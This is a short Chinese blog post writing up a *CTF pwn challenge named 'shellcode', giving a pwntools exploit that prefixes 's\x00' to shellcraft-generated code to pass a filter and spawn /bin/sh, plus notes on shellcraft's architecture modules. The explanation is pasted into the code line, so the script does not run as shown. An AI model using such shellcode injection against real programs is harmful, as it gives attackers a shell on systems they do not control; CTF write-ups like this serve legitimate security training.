*CTF——shellcode

一看题目是利用shellcode解决问题

伪代码:

EXP:

from pwn import*
   context(os='linux',arch='amd64',log_level='debug')
   p = process('./shellcode')
   shellcode ='s\x00'+ asm(shellcraft.sh()):i,j指针同时指向s,跳出内循环,\x00结束外循环,return 1;
   p.recvuntil("give me shellcode, plz:\n")
   p.sendline(shellcode)                                                                                 
   p.interactive()

return 1以后执行shellcraft.sh()则是执行/bin/sh的shellcode了

shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
其中的子模块声明架构,比如:

shellcraft.arm 是ARM架构的,

shellcraft.amd64是AMD64架构,

shellcraft.i386是Intel 80386架构的,

shellcraft.common是所有架构通用的。


 

posted @ 2019-04-28 23:26  CTF_PWN日记  阅读(1802)  评论(0编辑  收藏  举报